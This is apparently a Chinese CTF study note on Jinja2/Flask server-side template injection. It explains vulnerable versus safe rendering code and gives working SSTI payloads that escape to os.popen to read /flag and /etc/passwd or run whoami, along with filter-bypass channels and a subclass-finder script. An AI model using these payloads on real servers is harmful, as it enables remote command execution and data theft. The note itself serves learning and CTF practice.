ssti总结
xy考的全是ssti,深刻感觉到自己的不足。脱离fenjing后根本手搓不出payload。复习顺便总结一下给自己回顾
ssti漏洞原理
SSTI引发的原因:
例如render_template等渲染函数的问题
渲染函数是什么:
就是把HTML涉及的页面与用户数据分离开,这样方便展示和管理。当用户输入自己的数据信息,HTML页面可以根据用户输入的信息来展示页面,因此才有了这个函数的使用。总的来说,在 Web 开发中,渲染函数负责将 用户输入的数据 和 事先定义好的模板 结合,生成最终的 HTML(或其他格式)输出,并发送给客户端
常见的渲染函数
(1) Flask 中的渲染函数
| 函数 | 作用 | 示例 |
|---|---|---|
render_template() |
渲染指定的模板文件(.html),并传入变量 |
return render_template("index.html", name=user_name) |
render_template_string() |
直接渲染字符串模板(动态生成内容) | return render_template_string("<h1>Hello {{ name }}</h1>", name=user_name) |
(2) Django 中的渲染函数
| 函数 | 作用 | 示例 |
|---|---|---|
render() |
渲染模板并返回 HttpResponse,支持请求上下文。 |
return render(request, "index.html", {"name": user_name}) |
TemplateResponse() |
延迟渲染模板,适合中间件修改响应内容。 | return TemplateResponse(request, "index.html", {"name": user_name}) |
(3) 其他框架/工具
| 函数/方法 | 作用 | 示例 |
|---|---|---|
Jinja2.Template.render() |
Jinja2 引擎直接渲染模板字符串。 | Template("Hello {{ name }}").render(name="Alice") |
ReactDOM.render() (前端) |
在 React 中将组件渲染到 DOM 节点。 | ReactDOM.render(<App />, document.getElementById("root")) |
漏洞代码
渲染函数在渲染的时候,往往对用户输入的变量不做渲染,
即:{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。因此才有了现在的模板注入漏洞。往往变量我们使用{{这里是内容}}
真因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞
以render_template()函数为例:
看下面的两段代码
from flask import Flask, request, render_template_string
from jinja2 import Template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='guest')
t = '''
<html>
<h1>Hello %s</h1>
</html>
''' % (name)
# 将一段字符串作为模板进行渲染
return render_template_string(t)
"""这样的代码同样存在漏洞
def index():
name = request.args.get('name', default='guest')
t = Template(
'''
<html>
<h1>Hello %s</h1>
</html>
''' % name
)
# 对模板对象进行渲染
return t.render()
"""
app.run()
我们看代码执行顺序,是将name变量先拼接进去,然后再渲染。而name可控。这就是存在ssti漏洞的代码。
看下面这段代码
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', default='guest')
#
return render_template('index.html', name=name)
app.run()
这个是先渲染index.html,然后拼接用户输入进去。这就是安全代码
ssti过程
前置知识
以下是魔术方法 和 特殊属性 的全面总结,我按功能整理了一些
1. 类与继承链操作
| 魔术方法/属性 | 作用 | 示例 |
|---|---|---|
__class__ |
获取对象的类 | "".__class__ → <class 'str'> |
__mro__ |
返回类的继承链(Method Resolution Order) | "".__class__.__mro__ → (<class 'str'>, <class 'object'>) |
__base__ |
获取直接父类 | "".__class__.__base__ → <class 'object'> |
__bases__ |
获取所有父类(元组形式) | "".__class__.__bases__ → (<class 'object'>,) |
__subclasses__() |
获取当前类的所有子类(关键!用于找到 os._wrap_close 等危险类) |
object.__subclasses__() |
2. 函数与全局变量访问
| 魔术方法/属性 | 作用 | 示例 |
|---|---|---|
__init__ |
类的初始化方法,用于访问 __globals__ |
"".__class__.__init__.__globals__ |
__globals__ |
获取函数的全局变量字典(含模块、内置函数) | (lambda: None).__globals__ |
__builtins__ |
访问 Python 内置函数和模块(如 eval、open) |
__builtins__.eval("__import__('os').system('id')") |
__import__ |
动态导入模块(如 os、subprocess) |
__import__("os").system("id") |
3. 属性与字典操作
| 魔术方法/属性 | 作用 | 示例 |
|---|---|---|
__dict__ |
获取对象的属性字典 | "".__class__.__dict__ |
__getattribute__ |
动态获取属性(类似 getattr) |
"".__getattribute__("__class__") |
__getitem__() |
通过键访问对象属性(如字典式访问) | "".__class__.__mro__.__getitem__(1) |
__setattr__ |
动态设置属性(可用于绕过过滤) | object.__setattr__("x", "evil") |
4. 字符串与序列操作
| 魔术方法/属性 | 作用 | 示例 |
|---|---|---|
__add__ |
字符串拼接(绕过过滤) | ("a"+"b").__class__ → <class 'str'> |
__slice__ |
序列切片(旧版 Python) | "abc".__getslice__(0, 1) |
__str__ / __repr__ |
控制对象的字符串表示形式(可用于信息泄露) | ().__class__.__str__ |
5. 危险函数调用
| 魔术方法/属性 | 作用 | 示例 |
|---|---|---|
__reduce__ |
序列化时触发代码执行(配合 pickle) |
pickle.dumps(os.system, protocol=0) |
__call__ |
使实例像函数一样被调用 | ().__class__.__call__(eval, "1+1") |
__new__ |
创建对象时触发(早于 __init__) |
object.__new__(os._wrap_close) |
6. 特殊模块与对象
| 魔术方法/属性 | 作用 | 示例 |
|---|---|---|
__self__ |
获取绑定方法的实例对象 | "".upper.__self__ → "" |
__func__ |
获取未绑定的方法对象 | "".upper.__func__ |
__code__ |
获取函数的字节码(可用于逆向) | (lambda: None).__code__ |
7.最简单基础的payload
大多数简单题都是围绕以下的语句进行构造绕过。
name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}} //132是os_wrap_close类的位置
name={{ config.__class__.__init__.__globals__['os'].popen('cat ../flag').read() }}
name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
还可以{%%}来构造py语句
eg:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}
常见的命令执行方式:
os.system()
这个函数输出是执行结果的返回值,而不是执行命令的输出,成功执行返回0,失败返回-1,所以是无回显
?name={{%20request.application.__globals__[%27__builtins__%27][%27__import__%27](%27os%27).system(%27whoami%27)%20}}
看web页面,回显的是执行成功的返回值0

命令结果输出到了服务器终端里,也就是标准输出

所以我们更多时候会用到下面这个命令
os.popen():
这个本身是不回显的,但是可以用.read()将结果从内存中读出来。
?name={{%20request.application.__globals__[%27__builtins__%27][%27__import__%27](%27os%27).popen(%27whoami%27).read()%20}}
看web页面,成功回显

回到服务器终端,没有标准输出

新的绕过
老套的绕过方式一搜一大把。这里总结一下xyctf学到的新的绕过方式。
1.从http-header中获取
request #request.__init__.__globals__['__builtins__']
request.application #指向当前Flask应用实例(即app=Flask(__name__)创建的app对象)request.application.__globals__
request.args.x1 #get传参
request.values.x1 #所有参数
request.cookies #cookies参数
request.headers #请求头参数
request.form.x1 #post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data #post传参 (Content-Type:a/b)
request.json #post传json (Content-Type: application/json)
request.mimetype #获取Content-Type的内容
request.authorization.type和request.authorization.token #获取Authorization的内容
request.origin #获取Origin的内容
request.referrer #获取Referrer的内容
遇到新的会回来补充>>>>>>>>>>>>>>>>>>>>>>
附:
我们用到subclasses通常会列出很多类,这里给出一个找我们需要的类的位置的脚本
import re
# 将查找到的父类列表替换到data中
data = r'''
[<class 'type'>, <class 'weakref'>, ......]
'''
# 在这里添加可以利用的类,下面会介绍这些类的利用方法
userful_class = ['linecache', 'os._wrap_close', 'subprocess.Popen', 'warnings.catch_warnings', '_frozen_importlib._ModuleLock', '_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager', '_frozen_importlib.ModuleSpec']
pattern = re.compile(r"'(.*?)'")
class_list = re.findall(pattern, data)
for c in class_list:
for i in userful_class:
if i in c:
print(str(class_list.index(c)) + ": " + c)
参考文章:
https://www.cnblogs.com/tuzkizki/p/15394415.html
https://blog.csdn.net/weixin_51353029/article/details/111503731

